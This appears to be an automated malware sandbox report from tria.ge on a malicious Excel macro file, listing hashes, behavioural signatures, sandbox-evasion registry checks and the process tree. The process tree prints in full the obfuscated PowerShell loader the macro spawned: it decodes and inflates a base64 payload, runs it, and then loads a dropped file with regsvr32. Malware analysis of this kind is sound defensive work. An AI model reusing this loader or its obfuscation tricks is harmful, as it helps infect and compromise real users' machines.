Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
138s -
max time network
137s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
08/07/2020, 14:13
Static task
static1
Behavioral task
behavioral1
Sample
20754491-60.xlsm
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
20754491-60.xlsm
Resource
win10v200430
0 signatures
0 seconds
General
-
Target
20754491-60.xlsm
-
Size
63KB
-
MD5
b9236072b57105e260444f147ae54927
-
SHA1
033a1cfd5780cb7ea3fabaabe8db663a5f13971d
-
SHA256
b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111
-
SHA512
863d6626b4a7230896574bf04b9041557a23f839c48427ae7798de98a0610124d7a5707f687353131bab6b4e46036b257dde0118b784ea84ef0b4e34c703e116
Score
10/10
Malware Config
Signatures
-
Suspicious use of SetWindowsHookEx 16 IoCs
pid Process 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE 1000 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3052 1000 powershell.exe 66 -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1000 wrote to memory of 3052 1000 EXCEL.EXE 75 PID 1000 wrote to memory of 3052 1000 EXCEL.EXE 75 PID 3052 wrote to memory of 2124 3052 powershell.exe 78 PID 3052 wrote to memory of 2124 3052 powershell.exe 78 -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 3052 powershell.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe Token: 35 3052 powershell.exe Token: 36 3052 powershell.exe Token: SeIncreaseQuotaPrivilege 3052 powershell.exe Token: SeSecurityPrivilege 3052 powershell.exe Token: SeTakeOwnershipPrivilege 3052 powershell.exe Token: SeLoadDriverPrivilege 3052 powershell.exe Token: SeSystemProfilePrivilege 3052 powershell.exe Token: SeSystemtimePrivilege 3052 powershell.exe Token: SeProfSingleProcessPrivilege 3052 powershell.exe Token: SeIncBasePriorityPrivilege 3052 powershell.exe Token: SeCreatePagefilePrivilege 3052 powershell.exe Token: SeBackupPrivilege 3052 powershell.exe Token: SeRestorePrivilege 3052 powershell.exe Token: SeShutdownPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeSystemEnvironmentPrivilege 3052 powershell.exe Token: SeRemoteShutdownPrivilege 3052 powershell.exe Token: SeUndockPrivilege 3052 powershell.exe Token: SeManageVolumePrivilege 3052 powershell.exe Token: 33 3052 powershell.exe Token: 34 3052 powershell.exe Token: 35 3052 powershell.exe Token: 36 3052 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3052 powershell.exe 3052 powershell.exe 3052 powershell.exe -
Blacklisted process makes network request 1 IoCs
flow pid Process 22 3052 powershell.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1000 EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\20754491-60.xlsm"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:1000 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NOpROFILe -exEcUTION BypaSS -nOnINterAcTi -wiN 01 "&(\"{0}{1}\" -f 'sa','l') ('tr'+'im') ('N'+'ew-Obje'+'ct');.((.('gv') (\"{0}{1}\" -f '*','mdr*')).NAMe[3,11,2]-join'') ( .(\"{1}{0}\"-f'im','tr') ('s'+'ystEM'+'.Io.C'+'O'+'m'+'pReSSi'+'on.De'+'flA'+'te'+'StreAm')([SysteM.iO.MeMoryStreAM][convERt]::fROmbaSE64STrINg( (\"{16}{58}{22}{31}{9}{62}{40}{46}{4}{27}{19}{28}{7}{20}{38}{33}{6}{26}{52}{2}{41}{24}{55}{34}{48}{61}{30}{15}{29}{13}{14}{3}{47}{1}{32}{43}{56}{18}{36}{60}{59}{53}{21}{23}{42}{57}{51}{10}{39}{25}{54}{11}{37}{50}{12}{0}{17}{44}{8}{35}{5}{49}{45}\" -f'jA1xehYZc7AAUNzALk783FzqjPcuz0kETx','LjPHwO/NC','Fa6dvAt3Cuk','ed/0PVl4uDc0nFYGp6K2iDJHYB5QmhXcgc3Lw','Ua8uDGZecolOTYJA+2jVZsug3HihQH7LCpmIW09KCst4MX7oOwNhE2M7uMk8mhjv','4leN/CwZR','SU6ekfKz5XQqo573t2RHp7AV','sA8KbmK9POgnu8jm96QqEACjm','6xUqGXroijF+tBT2z/1','MGYWxarsXjFTOPsyCgaz5OP7w0LeqDoJVNUUa','VKvGjehP3x','OYHJnDs5dEjrT0kFS1qUvf/wyjzcJCLLKltvpt/c82ME9J7cjSY3MlBgSgTeywjS4o3xBNq','6PV5DZOaIfi8R3Vbn0','fRGfFQW7hiD0','VlB1xIyOTOxb','xKsgx/Ty4TuCL2mHI8','dVYNc9pGEP0rFw31ScEoGDtuAsO0GMsOCcEuYByHMDkZDi','wNQ9y5KXY6a53q/s/9TTZ8H08CXycz96tOjR30RsM1F5tVsplVKcFGBg/5i/7AI48ttF2ROey','ah','Udf7+hr','mKBOMPi4ZJ6Wm','BTUl','WlZp','KpSEv+K1vd','qWZcnLjISSEdi6Ze3S','9666l5obvjfyentrQbiD0YxEgMI+mOH2ggi75iHq0sUNC66Y0IGCj3p6lTIxZ9CuJqrv7PJI5iakS6AjAuw','LoOEHbGSdBllg','Mx2261gFT5JiM+UxUqRXPjuWJq8xA8L6YtoKyv/t','LZKAFsCV70rlIHyCpl','4V1AfikZCRJSdHO7bpB6Cdl0uBDd5pn1TtADWxC/VxrkgHLln2qVarb3SPcO8huLGwQ5k5TpnYy/Km/AD1wz1h','++EDx4nu','RRmlKePhudfhh7wvf/ZtBy8zX','dnLtJYf5kAOaVaJyD8uaw+eBGw9','YakONSk9Q+78BnkaYt8cLfQeZvuDWsjOx8dLT6fuTNnbWB','TgajkBAulhTx48r3c','QEyLUx9+XwOJqRxwMvYaZ22EoNvbFcFz1+tL9De/3RIdJ6bwPatDIv','MSrriNYSgIebS2PHdsFGSBYrfM0','ljI++tQF','9g','m7KbRqAONX8YUGYRpTm85UrdjmFHCbnQKITO0bJ+y0X6xqNceiTRbnZ24sT0','QbDgves5dVJ9t9hghF5WuuBfINZ1LiXJFdK7tqpzXiuks','8yfkwqWE3c3xFtBbQzRUPZfj','TH7jYNcZxn57phxCvCf0zMjORM97','HIPMjRgg+gF2bd+8wqBxCLNPtLeRVYtqmldfS2Fa9lCS','/8FYh/ka9JM/vUTVDvZOCTRiY19SG','z6B8hQvUOP82oTk0/4Q0/As=','aqX8bhU9SM8OqKDl/LrI/oWPEImW','EE0X2YclYOFJPvOLzMzpYFrWdrsgBaoLT','YjnEimzLNtYihtvYhAEB3F4SFCZyY6gGsAirmIDeVdIm/BpSNwa4U/DVUVujyFOC01a6KlDIv9oyzHGzW/nQGutVfA/OHb2RKxqoB','lvXND9DUcqctO','I1XhgU','HAbw07dls7DE6DEQtVx8GnO1hwLIHDX/p','5V+LD2ZW','2gTMF/8','yaV0cvOOu1v9fUwWLm6M7YSgIF1k6Lok96eoiPHYxsJ8hOmJWxjHN6ITmKsV4pFQnSpWLHOhm','MXBX3uTnAP5wzwi5oDYzFW9eyxdSbzJF5A1Ifre04QbcAb2+TzCrdM096j5OyZjHjwNft8SoFJ36p1vZyo9PcM7a0mgoxiksf1Eidy','1xcmuZ9hATvUAMQvHJMcyNC5utXK591C77eudUs3fgCv9GGpZV+hh6AYrZ1wHui4uZJhBUimrizK91zQsP7hRSOHWw34qodY51MhPa+Y+9jbeuMS0UuVn7g','d','xbSEQSOK56/71vT3yIdsKMPtDt7b7dfbt7Pc/kq0a31TjzeZHLKm5fT065xZjJhv27a2dkGumRSo9V','/kr/Qu','HQUIr8G3GRABAtsTYQc1pFiCcqb428BckpQERy3ddzPX1dXuTjtaoPvSAZQddn9Zo43yEn2+KHq1hedX7SRJLoQPW','S5/ASXC6kktsof7C24njpiQgGU','SrnGlJsOuqM3C6eK4341eYdXv1YXK3kLShTBu0tHdlTyHotR1u') ) , [iO.COMprESSiON.COmPrESSIoNmodE]::decoMPRESS)|&('%'){ .(\"{0}{1}\" -f 'T','rim') ('SYSTem.'+'iO.'+'st'+'ReaMReAd'+'ER')($_ ,[sYSTeM.TEXT.eNCodIng]::AsCii)}).READtoeNd( )"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3052 -
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\.3⤵PID:2124
-
-